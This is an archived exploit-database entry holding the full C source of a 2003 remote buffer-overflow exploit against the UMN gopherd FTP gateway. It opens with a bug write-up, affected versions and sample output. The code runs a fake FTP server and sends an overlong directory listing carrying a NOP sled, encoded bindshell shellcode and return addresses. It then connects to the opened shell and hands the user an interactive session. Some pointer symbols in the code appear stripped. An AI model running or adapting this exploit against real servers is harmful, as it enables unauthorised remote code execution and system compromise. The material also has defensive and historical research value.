Gopherd 3.0.5 - FTP Gateway Remote Overflow

EDB-ID:

84

CVE:


Author:

vade79

Type:

remote

Platform:

Linux

Published:

2003-08-22

/* [ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]
 *                                                                                                
 * by: vade79/v9 v9 at fakehalo.deadpig.org (fakehalo/realhalo)
 *                                                                                                
 * three years since last audit, code is a little more secure.  but,         
 * still found a few potentially exploitable situations.  this                  
 * exploits the "ftp gateway" feature of gopherd.  the gateway is        
 * intended to act as a proxy of sorts.  between the server, and the    
 * client.  the bug occurs when gopherd attempts to read a ftp            
 * list(LIST), and strcpy()'s the filename without checking the             
 * length.  an example would look like this(including where to put       
 * the shellcode at):                                                                      
 *                                                                                                
 * "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>"        
 *                                                                                                 
 * to exploit this, there needs to be a fake ftp daemon of sorts.         
 * and, do to the nature of gopherd's "ftp gateway" support, must be  
 * on port 21.  which means this exploit needs to run as root.             
 *                                                                                             
 *  when exploiting this bug, it is made moderately easy by gopherd.   
 * because, the buffer that holds the string is 8192 bytes, and on       
 * the stack.  meaning the amount of NOPs used can be around 7500 
 *                                                                   
 * requirements(general):                                            
 * gopherd must have "ftp gateway" support included on compile,     
 * this is true by default.  but, the "--disable-ftp" configure     
 * option will make exploitation of this bug impossible.            
 *                                                                 
 * requirements(for this exploit):                                   
 * the server must be running linux/x86(what i made the exploit     
 * for).  gopherd must be started in the root directory "/",        
 * running with the -c command line option, or started as non-root. 
 * any of those three situations will allow for successful          
 * exploitation.  this does not mean it is impossible to exploit    
 * otherwise.  but, gopherd will be in a chroot()'d state.  and, as 
 * of the 2.4 kernel series, i have seen no such way to break       
 * chroot.  if it is desired to still run code, even in a limited   
 * environment, simply change the shellcode to your likings.  also, 
 * the exploit must be ran as root, to bind to port 21.             
 *                                                                  
 * bug location(gopher-3.0.5/gopherd/ftp.c):                         
 * 1800:int                                                         
 * 1801:GopherFile(FTP ftp, char buf, char theName)              
 * 1802:{                                                           
 * ...                                                              
 * 1805:char tmpName[256];                                          
 * ...                                                              
 * 1811:strcpy(tmpName, buf);                                       
 *                                                                 
 * vulnerable versions:                                              
 * v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),              
 * v2.3.1. (patch level 0 through 15/all 2.3.1 versions)            
 * (it is assumed versions before 2.3.1 are vulnerable as well)     
 *                                                                  
 * tested on platforms(with no code changes/offsets):                
 * RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686           
 * Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 
 * (tested on both v3.0.5, and v2.3.1 sources / no changes.  this   
 * should apply to pretty much any generic linux, do to the amount  
 * of NOPs(~7500 bytes guessing room), and on the stack)            
 *                                                                 
 * example usage:                                                    
 * # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp                        
 * # ./xgopherd2k3-ftp localhost 127.0.0.1                          
 * [] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.    
 * [] "UMN gopherd remote ftp gateway buffer overflow"             
 * [] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)             
 *                                                                 
 * [] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ 
 *                                                                
 * [] starting ftp daemon. (background)                            
 * [] attempting to connect: localhost:70.                         
 * [] connected successfully: localhost:70.                        
 * [?] +GOPHERD: "ftp://x:x@127.0.0.1".                             
 * [?] ftp daemon connection established.                           
 * [?] -FTPD: "SYST".                                               
 * [?] -FTPD: "USER x".                                             
 * [?] -FTPD: "PASS x".                                             
 * [?] -FTPD: "PORT 127,0,0,1,128,35".                              
 * [?] -FTPD: "LIST -F".                                            
 * [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $ 
 * [] waiting for ftp daemon to finish. (ctrl-c if needed)         
 * [] ftp daemon connection closed.                                
 * [] checking to see if the exploit was successful.               
 * [] attempting to connect: localhost:45295.                      
 * [] successfully connected: localhost:45295.                     
 *                                                                  
 * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2$ 
 * uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3$ 
 *                                                                   
 * note: when using your "local ip", do not make it 127.0.0.1, like  
 * in the example.  it must be the ip you connect to the internet    
 * through. (not an local area network ip, or whatnot)               
 * /
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/ change defines at will. (cept EIPSIZE, not recommended)     /
#define CODESIZE 7800 / part of buf[8192]/stack. (~-350)      /
#define EIPSIZE 292 / riding a fine line, don't make too big. /
#define RETADDR 0xbfffe29b / center of NOPs for me. (~+-3500) /
#define TIMEOUT 10 / connection timeout. (general)            /

/ globals. /
static char x86_exec[]= / bindshell(45295)&, netric/S-poly. /
 "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
 "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
 "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
 "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
 "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
 "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
 "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
 "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
 "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
 "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
 "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
 "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
 "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
 "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
 "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
 "\x6e";
char ftp_ip[64+1];
unsigned short ftp_port=0;
pid_t ftp_pid=0;
/ return address offset. (arg3) /
unsigned int offset_ra=0;

/ functions. /
char geteip(void);
char getcode(void);
unsigned short ftpd_read(int);
void ftpd_handler(int,char );
void ftpd_list(char ,unsigned short);
void ftpd(void);
void gopher_connect(char ,unsigned short,char );
void getshell(char ,unsigned short);
void printe(char ,short);

/ signal handlers. /
void sig_ctrlc_wait(){if(ftp_pid)kill(ftp_pid,9);}
void sig_ctrlc_exit(){printe("ctrl-c abort.",1);}
void sig_alarm(){printe("alarm/timeout hit.",1);}

/ begin. /
int main(int argc,char argv){
 unsigned short gopher_port=70; / default. /
 unsigned int i=0;
 char gopher_host;
 printf("[] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
 "verflow exploit.\n[] \"UMN gopherd remote ftp gatew"
 "ay buffer overflow\"\n[] by: vade79/v9 v9@fakehalo."
 "deadpig.org (fakehalo)\n\n");
 if(argc<3){
  printf("[!] syntax: %s <hostname[:port]> <local/your"
  "_ip> [offset]\n\n",argv[0]);
  exit(1);
 }
 if(!(gopher_host=(char )strdup(argv[1])))
  printe("main(): allocating memory failed",1);
 for(i=0;i<strlen(gopher_host);i++)
  if(gopher_host[i]==':')
   gopher_host[i]=0x0;
 if(index(argv[1],':'))
  gopher_port=atoi((char )index(argv[1],':')+1);
 if(!gopher_port)
  gopher_port=70;
 if(argc>3)
  offset_ra=atoi(argv[3]);
 printf("[] target: %s:%d - localhost: %s - offset: 0x%.8x(+" 
 "%u)\n\n",gopher_host,gopher_port,argv[2],RETADDR,offset_ra); 
 signal(SIGINT,sig_ctrlc_wait);
 signal(SIGALRM,sig_alarm);
 / start ftpd, as a different process. /
 switch(ftp_pid=fork()){
  case -1:
   printe("fork() ftpd failure.",1);
   break;
  case 0:
   signal(SIGINT,SIG_DFL);
   ftpd();
   _exit(0);
   break;
  default:
   printf("[] starting ftp daemon. (background)\n");
   break;
 }
 gopher_connect(gopher_host,gopher_port,argv[2]);
 / gotta let the ftpd magic happen, plenty of time. /
 printf("[] waiting for ftp daemon to finish. (ctrl-c if"
 " needed)\n");
 waitpid(ftp_pid,0,0);
 signal(SIGINT,sig_ctrlc_exit);
 getshell(gopher_host,45295); / defined in shellcode. /
 printf("[!] exploit failed.\n");
 exit(0);
}
char geteip(void){
 unsigned int i=0;
 char buf;
 if(!(buf=(char )malloc(EIPSIZE+1)))
  printe("ftpd_read(): allocating memory failed.",1);
 memset(buf,0x0,EIPSIZE+1);
 for(i=0;i<EIPSIZE;i+=4){(long )&buf[i]=(RETADDR+offset_ra);}
 return(buf);
}
char getcode(void){
 char buf;
 if(!(buf=(char )malloc(CODESIZE+1)))
  printe("getcode(): allocating memory failed",1);
 memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
 memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
 strlen(x86_exec));
 return(buf);
}
unsigned short ftpd_read(int sock){
 char buf;
 if(!(buf=(char )malloc(4096+1)))
  return(1);
 memset(buf,0x0,4096+1);
 if(read(sock,buf,4096)<1)
  return(1);
 ftpd_handler(sock,buf);
 return(0);
}
void ftpd_handler(int sock,char buf){
 unsigned int addr1,addr2,addr3,addr4,port1,port2,i;
 / clean up for display, changes nothing critical. /
 for(i=0;i<strlen(buf);i++)
  if(buf[i]=='\r'||buf[i]=='\n')
   buf[i]=0x0;
 if(strlen(buf)){
  printf("[?] -FTPD: \"%s\".\n",buf);
  if(!strncmp("SYST",buf,4))
   dprintf(sock,"215 UNIX Type: L8\n");
  else if(!strncmp("USER ",buf,5))
   dprintf(sock,"331 login ok.\n");
  else if(!strncmp("PASS ",buf,5))
   dprintf(sock,"230 access granted.\n");
  else if(!strncmp("PORT ",buf,5)){
   sscanf(buf,"PORT %u,%u,%u,%u,%u,%u",&addr1,&addr2,&addr3,
   &addr4,&port1,&port2);
   memset(ftp_ip,0x0,64+1);
   snprintf(ftp_ip,64,"%u.%u.%u.%u",addr1,addr2,addr3,addr4); 
   ftp_port=((port1256)+port2);                                                 
   dprintf(sock,"200 PORT command successful.\n");
  }
  else if(!strncmp("LIST",buf,4)){
   dprintf(sock,"150 Opening connection.\n");
   / send the fake file list, the exploit itself. /
   if(strlen(ftp_ip)&&ftp_port)
    ftpd_list(ftp_ip,ftp_port);
   dprintf(sock,"226 Transfer complete.\n");
   sleep(1);
   / nothing else of importance. /
   close(sock);
  }
 }
 return;
}
void ftpd_list(char ip,unsigned short port){
 int sock;
 struct hostent t;
 struct sockaddr_in s;
 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 if((s.sin_addr.s_addr=inet_addr(ip))){
  if(!(t=gethostbyname(ip)))
   printe("couldn't resolve ftp_list hostname/ip.",1);
  memcpy((char)&s.sin_addr,(char)t->h_addr,
  sizeof(s.sin_addr));
 }
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 if(connect(sock,(struct sockaddr )&s,sizeof(s)))
  printe("ftpd_list connection failed.",1);
 alarm(0);
 / the exploit itself, what changes the EIP.     /
 / i just put the shellcode where the user/owner /
 / of the file would normally go, goes into the  /
 / fat buf[8192] buffer, yummy.                  /
 printf("[?] +FTPD: \"-rwxrwxrwx 1 <shellcode(%u)> root "
 "1 Dec 31 23:59 <eip(%u)>\".\n",CODESIZE,EIPSIZE);
 dprintf(sock,"-rwxrwxrwx 1 %s root 1 Dec 31 23:59 %s\n",
 getcode(),geteip());
 sleep(1); / not needed, safe call. /
 close(sock);
 return;
}
void ftpd(void){
 int ssock,sock,salen,so=1,i=0;
 struct sockaddr_in ssa,sa;
 ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 / just incase used multiple times, good habit anyways. /
 setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void )&so,sizeof(so));
 / not everywheres. /
#ifdef SO_REUSEPORT
 setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void )&so,sizeof(so));
#endif
 ssa.sin_family=AF_INET;
 / must be default, gopherd limitations. :( /
 ssa.sin_port=htons(21);
 ssa.sin_addr.s_addr=INADDR_ANY;   
 if(bind(ssock,(struct sockaddr )&ssa,sizeof(ssa))==-1)
  printe("could not bind socket, ftpd already running?",1);
 listen(ssock,1);
 bzero((char)&sa,sizeof(struct sockaddr_in));
 / some things i just don't see the reason for. :/ /                           
 salen=sizeof(sa);
 sock=accept(ssock,(struct sockaddr )&sa,&salen);
 close(ssock); / close server socket. /
 printf("[] ftp daemon connection established.\n");
 / welcome! /
 dprintf(sock,"220 FakeFTPD.\n");
 while(!i)
  i=ftpd_read(sock);
 close(sock);
 printf("[] ftp daemon connection closed.\n");
 return;
}
void gopher_connect(char hostname,unsigned short port,
char myip){
 int sock;
 struct hostent t;
 struct sockaddr_in s;
 printf("[] attempting to connect: %s:%d.\n",hostname,port);
 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 if((s.sin_addr.s_addr=inet_addr(hostname))){
  if(!(t=gethostbyname(hostname)))
   printe("couldn't resolve gopher hostname.",1);
  memcpy((char)&s.sin_addr,(char)t->h_addr,
  sizeof(s.sin_addr));
 }
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 if(connect(sock,(struct sockaddr )&s,sizeof(s)))
  printe("gopher connection failed.",1);
 alarm(0);
 printf("[] connected successfully: %s:%d.\n",hostname,port);
 printf("[?] +GOPHERD: \"ftp://x:x@%s\".\n",myip);
 sleep(1); / had problems, without a delay here. /
 dprintf(sock,"ftp://x:x@%s\n",myip);
 sleep(1); / doesn't really matter, but to be safe. :/ /
 / leave gopher socket open, for the duration. /
 return;
}
/ same getshell() routine as usual. /
void getshell(char hostname,unsigned short port){
 int sock,r;
 fd_set fds;
 char buf[4096+1];
 struct hostent he;
 struct sockaddr_in sa;
 printf("[] checking to see if the exploit was successful.\n");
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  printe("getshell(): socket() failed",0);
  return;
 }
 sa.sin_family=AF_INET;
 if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname))){
   printe("getshell(): couldn't resolve",0);
   return;
  }
  memcpy((char )&sa.sin_addr,(char )he->h_addr,
  sizeof(sa.sin_addr));
 }
 sa.sin_port=htons(port);
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 printf("[] attempting to connect: %s:%d.\n",
 hostname,port);
 if(connect(sock,(struct sockaddr )&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",
  hostname,port);
  return;
 }
 alarm(0);
 printf("[] successfully connected: %s:%d.\n\n",
 hostname,port);
 signal(SIGINT,SIG_IGN);
 write(sock,"uname -a;id\n",13);
 while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1){
   printe("getshell(): select() failed",0);
   return;
  }
  if(FD_ISSET(0,&fds)){ 
   if((r=read(0,buf,4096))<1){
    printe("getshell(): read() failed",0);
    return;
   }
   if(write(sock,buf,r)!=r){
    printe("getshell(): write() failed",0);
    return;
   }
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)
    exit(0);
   write(1,buf,r);
  }
 }
 close(sock);
 return;
}
void printe(char err,short e){
 printf("[!] %s\n",err);
 if(e){
  / don't want to exit with ftpd still running. /
  if(ftp_pid)
   kill(ftp_pid,9);
  printf("[!] exploit failed.\n");
  exit(1);
 }
 return;
}

// milw0rm.com [2003-08-22]